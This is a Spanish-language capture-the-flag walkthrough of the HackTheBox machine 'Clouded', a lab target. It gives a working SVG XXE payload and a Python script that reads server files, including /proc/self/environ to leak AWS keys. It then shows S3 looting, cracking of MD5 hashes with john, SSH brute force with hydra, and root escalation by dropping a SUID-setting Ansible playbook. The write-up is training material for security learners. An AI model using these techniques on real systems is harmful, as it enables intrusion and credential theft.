Clouded
10 minutos de lectura
Escaneo de puertos
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.129.243.230 -p 22,80
Nmap scan report for 10.129.243.230
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://clouded.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 12.37 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.129.243.230
, seremos redirigidos a http://clouded.htb
, por lo que tenemos que poner clouded.htb
en /etc/hosts
:
También hay una página “About” que dice algo sobre servicios en la nube y subidas de archivos:
La única funcionalidad de este sitio web es subir archivos (solo .pdf
, .docx
, .png
o .svg
):
Por ejemplo, podemos subir una imagen PNG cualquiera, y recibiremos un enlace para descargarla después:
Obsérvese que tenemos un subdominio local.clouded.htb
, que tenemos que poner en /etc/hosts
.
Si intentamos alguna otra ruta, recibimos una respuesta en XML, que es bastante extraño hoy en día:
Acceso a la máquina
El hecho de tener una respuesta en XML es probablemente porque el vector de ataque es inyección de Entidades Externas en XML (XXE) o alguna otra vulnerabilidad relacionada con XML. De hecho, el servidor permite imágenes .svg
, que es más o menos XML.
Explotación de XXE
Podemos echar un vistazo a PayloadsAllTheThings y observar que hay un payload para XXE dentro de un archivo SVG:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Podemos probar esta carga útil y ver que funciona, porque b3c1706ff55c
es el contenido de /etc/hostname
:
$ curl local.clouded.htb/uploads/file_ejTP14NY4b.svg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128px" height="128px" version="1.1">
<text font-size="16" x="0" y="16">b3c1706ff55c
</text>
</svg>
Dado que XXE permite leer archivos locales del servidor siempre que sepamos la ruta completa, podemos intentar leer archivos comunes en Linux. Por ejemplo, /etc/passwd
, /etc/hosts
… Como vamos a probar muchos archivos, podemos escribir un script en Python para automatizar el proceso:
#!/usr/bin/env python3
import requests
import sys
from base64 import b64encode
filename = sys.argv[1]
svg = f'''<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "{filename}" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
'''
data = requests.post(
'http://clouded.htb/upload/prod/lambda',
json={
'filename': 'xxe.svg',
'fileData': b64encode(svg.encode()).decode()
}
).json()
if (url := data.get('url')):
print(url)
print(requests.get(url).text)
Podemos ver que la petición de subida de archivo se realiza a http://clouded.htb/uploads/prod/lambda
, usando de las herramientas de desarrollador del navegador. La palabra “lambda” está probablemente relacionada con AWS Lambda. Tiene sentido porque la máquina se llama Clouded, y tenemos un subdominio llamado local
, que probablemente se refiere a LocalStack (un emulador de servicios en la nube para AWS).
Enumeración de LocalStack
Como resultado, podemos intentar enumerar AWS Lambda imprimiendo sus variables de entorno con el archivo /proc/self/environ
:
$ python3 xxe.py file:///proc/self/environ
http://local.clouded.htb/uploads/file_wY8AhPHsAr.svg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128px" height="128px" version="1.1">
<text font-size="16" x="0" y="16">AWS_LAMBDA_FUNCTION_VERSION=$LATESTEDGE_PORT=4566HOSTNAME=4ed2a07af507_LAMBDA_CONTROL_SOCKET=14AWS_LAMBDA_FUNCTION_TIMEOUT=10LOCALSTACK_HOSTNAME=172.18.0.2AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/UploadToS3LAMBDA_TASK_ROOT=/var/taskLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001AWS_LAMBDA_LOG_STREAM_NAME=2024/12/17/[$LATEST]c8930b3e569ee0426ec5fa6517cacdee_LAMBDA_SHARED_MEM_FD=11AWS_EXECUTION_ENV=AWS_Lambda_python3.8_LAMBDA_RUNTIME_LOAD_TIME=1530232235231AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000AWS_LAMBDA_FUNCTION_NAME=UploadToS3PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin_LAMBDA_LOG_FD=9AWS_DEFAULT_REGION=us-east-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUYLAMBDA_RUNTIME_DIR=/var/runtimeLANG=en_US.UTF-8TZ=:UTCAWS_REGION=us-east-1AWS_ACCESS_KEY_ID=AKIA5M34BDN8GCJGRFFBSHLVL=0HOME=/home/sbx_user1051AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:UploadToS3_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2_AWS_XRAY_DAEMON_PORT=2000_X_AMZN_TRACE_ID=Root=1-dc99d00f-c079a84d433534434534ef0d;Parent=91ed514f1e5c03b2;Sampled=1_LAMBDA_SB_ID=7AWS_XRAY_CONTEXT_MISSING=LOG_ERROR_LAMBDA_CONSOLE_SOCKET=16AWS_LAMBDA_COGNITO_IDENTITY={}_HANDLER=handler.lambda_handlerDOCKER_LAMBDA_USE_STDIN=1AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1536</text>
</svg>
Se muestra en una línea, pero podemos determinar fácilmente los nombres y valores de las variables:
AWS_LAMBDA_FUNCTION_VERSION=$LATEST
EDGE_PORT=4566
HOSTNAME=295a6f9edbe3
_LAMBDA_CONTROL_SOCKET=14
AWS_LAMBDA_FUNCTION_TIMEOUT=10
LOCALSTACK_HOSTNAME=172.18.0.2
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/UploadToS3
LAMBDA_TASK_ROOT=/var/task
LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001
AWS_LAMBDA_LOG_STREAM_NAME=2024/12/14/[$LATEST]f916f3f686ff4f8dfecf52de7db0d42a
_LAMBDA_SHARED_MEM_FD=11
AWS_EXECUTION_ENV=AWS_Lambda_python3.8
_LAMBDA_RUNTIME_LOAD_TIME=1530232235231
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
AWS_LAMBDA_FUNCTION_NAME=UploadToS3
PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
_LAMBDA_LOG_FD=9
AWS_DEFAULT_REGION=us-east-1
PWD=/var/task
AWS_SECRET_ACCESS_KEY=eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY
LAMBDA_RUNTIME_DIR=/var/runtime
LANG=en_US.UTF-8
TZ=:UTC
AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=AKIA5M34BDN8GCJGRFFB
SHLVL=0
HOME=/home/sbx_user1051
AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:UploadToS3
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
_X_AMZN_TRACE_ID=Root=1-dc99d00f-c079a84d433534434534ef0d;Parent=91ed514f1e5c03b2;Sampled=1_LAMBDA_SB_ID=7
AWS_XRAY_CONTEXT_MISSING=LOG
_ERROR_LAMBDA_CONSOLE_SOCKET=16
AWS_LAMBDA_COGNITO_IDENTITY={}
_HANDLER=handler.lambda_handler
DOCKER_LAMBDA_USE_STDIN=1
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1536
Con esta información, podemos usar awscli
para interactuar con LocalStack y enumerar las funciones Lambda:
$ aws configure
AWS Access Key ID [None]: AKIA5M34BDN8GCJGRFFB
AWS Secret Access Key [None]: eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY
Default region name [None]: us-east-1
Default output format [None]:
$ aws --endpoint-url=http://local.clouded.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "UploadToS3",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:UploadToS3",
"Runtime": "python3.8",
"Role": "arn:aws:iam::000000000000:role/LambdaS3Access",
"Handler": "handler.lambda_handler",
"CodeSize": 21510285,
"Description": "",
"Timeout": 10,
"LastModified": "2024-12-17T00:00:16.636+0000",
"CodeSha256": "CxUb8kp80KqTa/tzdVQeTVFqo0Nhs0W2AwRKeuplCXE=",
"Version": "$LATEST",
"VpcConfig": {},
"Environment": {
"Variables": {
"AWS_ACCESS_KEY_ID": "AKIA5M34BDN8GCJGRFFB",
"AWS_SECRET_ACCESS_KEY": "eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "21acfad8-815d-43ae-8143-2810648fb5e8",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
Solo hay una función Lambda. Como dice el nombre, esta sube archivos a S3. Por lo tanto, también hay un servicio S3 implementado:
$ aws --endpoint-url=http://local.clouded.htb s3 ls
2024-12-17 00:00:08 uploads
2024-12-17 00:00:10 clouded-internal
$ aws --endpoint-url=http://local.clouded.htb s3 ls s3://clouded-internal
2024-12-17 00:00:13 16384 backup.db
Este archivo backup.db
del bucket clouded-internal
parece interesante. Vamos a descargarlo:
$ aws --endpoint-url=http://local.clouded.htb s3 cp s3://clouded-internal/backup.db .
download: s3://clouded-internal/backup.db to ./backup.db
Podríamos continuar enumerando Localstack, pero no hay nada más. Podríamos haber leído el código fuente de la función Lambda, obtener una reverse shell en un contenedor de Lambda, pero es un callejón sin salida.
En cambio, echemos un vistazo al archivo backup.db
, que es una base de datos SQLite:
sqlite> .tables
frontiers
sqlite> .schema frontiers
CREATE TABLE IF NOT EXISTS "frontiers" (
"first_name" TEXT,
"last_name" TEXT,
"department" TEXT,
"frontier_level" TEXT,
"password" TEXT
);
¡Perfecto! Tenemos un montón de nombres de usuario y hashes de contraseña (probablemente en MD5):
sqlite> select * from frontiers;
Jax|Blackstone|Cybersecurity Frontier|Star Tech Cadet|0691df26da82d6eb2e5da8924628db63
Colt|Dray|Orbital Analytics|Keeper of the Spur|ae0eea6eb6d63f98da42de867c47a0f8
Ember|Frost|Quantum Systems|Starwarden|680e89809965ec41e64dc7e447f175ab
Kael|Stark|Astroinformatics|Frontier Architect|f63f4fbc9f8c85d409f2f59f2b9e12d5
Nova|Voss|Terraforming Tech|Star Tech Cadet|dba0079f1cb3a3b56e102dd5e04fa2af
Vira|Wyler|Galactic Communications|Signal Engineer|968c58d88d981b4ee15e2c8cb1fab06d
Zane|Korr|Power Grid Dynamics|Code Marshal|a90f4589534f75e93dbccd20329ed946
Lyra|Nex|Starship AI Division|Keeper of the Spur|91111fb1f8b088438d80367df81cb6cf
Arlo|Halcyon|Neural Nexus|Systems Pioneer|02b0732024cad6ad3dc2989bc82a1ef5
Orion|Solace|Signal Operations|Starwarden|d2feb9b6718bb374dfdd689380676954
Vesper|Talon|Galactic Communications|Frontier Architect|467b6140fe3bb958f2332983914de787
Pax|Irons|Quantum Systems|Data Scout|2aee1c40199c7754da766e61452612cc
Cleo|Nagato|Astroinformatics|Code Marshal|e94ef563867e9c9df3fcc999bdb045f5
Rynn|Verin|Void Engineering|Star Tech Cadet|532ab4d2bbcc461398d494905db10c95
Kyra|Ashcroft|Terraforming Tech|Comms Wrangler|7d37c580f9c36fa004af865448a6e278
Soren|Stroud|System Integrity Core|Keeper of the Spur|b08c8c585b6d67164c163767076445d6
Thorne|Ashford|Starship AI Division|Signal Engineer|069a6a9ccaaca7967a0c43cb5e161187
Aerin|Vail|Cybersecurity Frontier|Star Tech Cadet|83de6260ed1dbe549bd23d31c4b8af81
Juno|Quill|Data Forge|Cyber Outrider|361519f98f2c121f3abd457adc415ad9
Kaden|Kade|Neural Nexus|Systems Pioneer|365816905f5e9c148e20273719fe163d
Elara|Drax|Quantum Systems|Cyber Outrider|78842815248300fa6ae79f7776a5080a
Dax|Mason|Galactic Communications|Code Marshal|6ebe76c9fb411be97b3b0d48b791a7c9
Tessa|Hawk|Signal Operations|Starwarden|df53ca268240ca76670c8566ee54568a
Kiera|Carver|Astroinformatics|Data Scout|008c5926ca861023c1d2a36653fd88e2
Valen|Locke|Power Grid Dynamics|Systems Pioneer|8621ffdbc5698829397d97767ac13db3
Juno|Wolfe|Frontier Robotics|Signal Engineer|282bbbfb69da08d03ff4bcf34a94bc53
Calix|Rook|Orbital Analytics|Comms Wrangler|2dccd1ab3e03990aea77359831c85ca2
Rhea|Steele|Starship AI Division|Keeper of the Spur|cf9ee5bcb36b4936dd7064ee9b2f139e
Lira|Kyros|Void Engineering|Code Marshal|6b1628b016dff46e6fa35684be6acc96
Cass|Hunt|Data Forge|Star Tech Cadet|de1e3b0952476aae6888f98ea0e4ac11
Rowan|Calder|Cybersecurity Frontier|Starwarden|e1964798cfe86e914af895f8d0291812
Astra|Brogan|Neural Nexus|Comms Wrangler|cb07901c53218323c4ceacdea4b23c98
Bex|Stryker|Galactic Communications|Frontier Architect|b03e3fd2b3d22ff6df2796c412b09311
Nyx|Vale|Astroinformatics|Data Scout|92290ccb8f7b2beb4c57ef1f7a3d5947
Talon|Fennec|Terraforming Tech|Cyber Outrider|7d8bc5f1a8d3787d06ef11c97d4655df
Mira|Drake|Quantum Systems|Star Tech Cadet|d487dd0b55dfcacdd920ccbdaeafa351
Kaine|Sabre|System Integrity Core|Starwarden|07a88e756847244f3496f63f473d6085
Juno|Cross|Power Grid Dynamics|Keeper of the Spur|2760c7b84d4bad6b0b12d7c1a6c5e1a4
Halcyon|Ward|Signal Operations|Frontier Architect|4d5257e5acc7fcac2f5dcd66c4e78f9a
Nia|Vireo|Starship AI Division|Signal Engineer|ac3665f6acae8bd267ed92a71a71313b
Zira|Vance|Orbital Analytics|Star Tech Cadet|eb415b465d61eada8661cb4bda71a4e7
Max|Wren|Data Forge|Comms Wrangler|a17b48e31806e6bb63f64cafb2b06780
Caden|Fury|Void Engineering|Data Scout|7eef7295c50d70615433858746056bca
Lira|Slate|Cybersecurity Frontier|Keeper of the Spur|cd880b726e0a0dbd4237f10d15da46f4
Selene|Vesper|System Integrity Core|Code Marshal|33da7a40473c1637f1a2e142f4925194
Jett|Briar|Terraforming Tech|Cyber Outrider|177dacb14b34103960ec27ba29bd686b
Renzo|Shadow|Frontier Robotics|Star Tech Cadet|7902b7c0be5cedb6fbada8d4c7fc42a0
Sol|Ravenwood|Galactic Communications|Systems Pioneer|55e7dd3016ce4ac57b9a0f56af12f7c2
Lex|West|Signal Operations|Starwarden|21bb5bb51758eab175d4d640334abba0
Thorne|Lyon|Neural Nexus|Frontier Architect|c25a68128b55eab863ac1bfcfbb4c80a
Tomemos todos los hashes de contraseña para romperlos con john
y rockyou.txt
:
sqlite> select password from frontiers;
0691df26da82d6eb2e5da8924628db63
ae0eea6eb6d63f98da42de867c47a0f8
680e89809965ec41e64dc7e447f175ab
...
55e7dd3016ce4ac57b9a0f56af12f7c2
21bb5bb51758eab175d4d640334abba0
c25a68128b55eab863ac1bfcfbb4c80a
$ john --wordlist=$WORDLISTS/rockyou.txt --format=Raw-MD5 <(echo '0691df26da82d6eb2e5da8924628db63
ae0eea6eb6d63f98da42de867c47a0f8
680e89809965ec41e64dc7e447f175ab
...
55e7dd3016ce4ac57b9a0f56af12f7c2
21bb5bb51758eab175d4d640334abba0
c25a68128b55eab863ac1bfcfbb4c80a')
Using default input encoding: UTF-8
Loaded 50 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
jonathan (?)
987654321 (?)
computer (?)
...
cookies (?)
leslie (?)
jackass (?)
50g 0:00:00:00 DONE 5000g/s 204800p/s 204800c/s 10240KC/s 123456..lovers1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Acceso por SSH
Habiendo encontrado todos estos usuarios y contraseñas, es posible que deseemos verificar si podemos reutilizar alguna credencial en otros servicios, por ejemplo, en SSH. Podemos hacer uso de hydra
para realizar un ataque de fuerza bruta con estas listas de palabras. Sin embargo, parece que ninguna de las credenciales funciona directamente. Incluso usando el last_name
en lugar del first_name
…
$ hydra -C creds.txt clouded.htb ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries, ~7 tries per task
[DATA] attacking ssh://clouded.htb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished
En este punto, podríamos continuar enumerando el entorno de AWS, pero no hay nada más que hacer ahí. Por lo tanto, debemos continuar tratando de acceder a través de SSH. Como último recurso, podemos usar una lista de palabras para ambos valores de first_name
y last_name
y otra lista de palabras con las contraseñas, para que probemos cada nombre de usuario con cada contraseña ((2 * 50) * 50 = 5000
posibilidades). Podría valer la pena…
sqlite> select lower(first_name) from frontiers union select lower(last_name) from frontiers;
aerin
arlo
ashcroft
...
wyler
zane
zira
¡Y ahí está!
$ hydra -L usernames.txt -P passwords.txt clouded.htb ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4650 login tries (l:93/p:50), ~291 tries per task
[DATA] attacking ssh://clouded.htb:22/
[STATUS] 283.00 tries/min, 283 tries in 00:01h, 4367 to do in 00:16h, 16 active
[STATUS] 282.00 tries/min, 846 tries in 00:03h, 3804 to do in 00:14h, 16 active
[STATUS] 275.71 tries/min, 1930 tries in 00:07h, 2720 to do in 00:10h, 16 active
[22][ssh] host: clouded.htb login: nagato password: alicia
[STATUS] 272.17 tries/min, 3266 tries in 00:12h, 1384 to do in 00:06h, 16 active
[STATUS] 273.53 tries/min, 4650 tries in 00:17h, 1 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
Estaba un poco confundido de por qué había que mezclar todos los nombres de usuario y contraseñas, porque no tiene sentido. Después de investigar un poco, vi que john
no mantiene el orden original…
Da igual… con esto, podemos acceder por SSH y obtener la primera flag:
$ ssh nagato@clouded.htb
nagato@clouded.htb's password:
nagato@clouded:~$ cat user.txt
HTB{L@MBD@_5AY5_B@@}
Enumeración del sistema
Una vez dentro de la máquina, debemos enumerar el sistema para buscar formas de escalar privilegios a root
. Una de las comprobaciones es buscar archivos interesantes. Por ejemplo, en /opt
:
nagato@clouded:~$ ls /opt
containerd infra-setup
nagato@clouded:~$ ls /opt/infra-setup/
checkup.yml
nagato@clouded:~$ cat /opt/infra-setup/checkup.yml
- name: Check Stability of Clouded File Sharing Service
hosts: localhost
gather_facts: false
tasks:
- name: Check if the Clouded File Sharing service is running and if the AWS connection is stable
debug:
msg: "Checking if Clouded File Sharing service is running."
# NOTE to Yuki - Add checks for verifying the above tasks
Este archivo YAML parece estar relacionado con la nube local que se implementa en la máquina. Enumeremos los procesos en ejecución con pspy
:
$ scp pspy64s nagato@clouded.htb:/tmp
nagato@clouded.htb's password:
pspy64s 100% 1129KB 852.5KB/s 00:01
nagato@clouded:~$ chmod +x /tmp/pspy64s
nagato@clouded:~$ !$
/tmp/pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
...
CMD: UID=0 PID=4207 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/infra-setup/*.yml
CMD: UID=0 PID=4208 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/infra-setup/checkup.yml
CMD: UID=0 PID=4209 | /usr/sbin/CRON -f
CMD: UID=0 PID=4210 | sleep 10
CMD: UID=0 PID=4211 | python3 /usr/bin/ansible-playbook /opt/infra-setup/checkup.yml
CMD: UID=0 PID=4213 |
CMD: UID=0 PID=4214 | ssh -o ControlPersist
CMD: UID=0 PID=4216 | python3 /usr/bin/ansible-playbook /opt/infra-setup/checkup.yml
...
¡Ahí está! El usuario root
está ejecutando ansible-playbook-parallel
en todos los archivos YAML ubicados en /opt/infra-setup
. Tengamos en cuenta que tenemos permisos de escritura aquí:
nagato@clouded:~$ ls -la /opt/infra-setup/
total 12
drwxrwxr-x 2 root frontiers 4096 Dec 15 23:48 .
drwxr-xr-x 4 root root 4096 Dec 2 06:44 ..
-rw-r--r-- 1 root root 351 Dec 15 23:48 checkup.yml
Escalada de privilegios
Con Ansible Playbooks es posible ejecutar comandos del sistema (más información aquí), así que simplemente podemos añadir permiso SUID a /bin/bash
(también hay un GTFOBin).
Primero creamos un archivo YAML con las acciones que queremos activar:
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
En este punto, escribimos el archivo y esperamos un poco hasta /bin/bash
se configura como binario SUID para obtener acceso como root
:
nagato@clouded:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
nagato@clouded:~$ cat > /opt/infra-setup/privesc.yml
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
^C
nagato@clouded:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
nagato@clouded:~$ bash -p
bash-5.0# cd /root/root.txt
HTB{H@ZY_71ME5_AH3AD}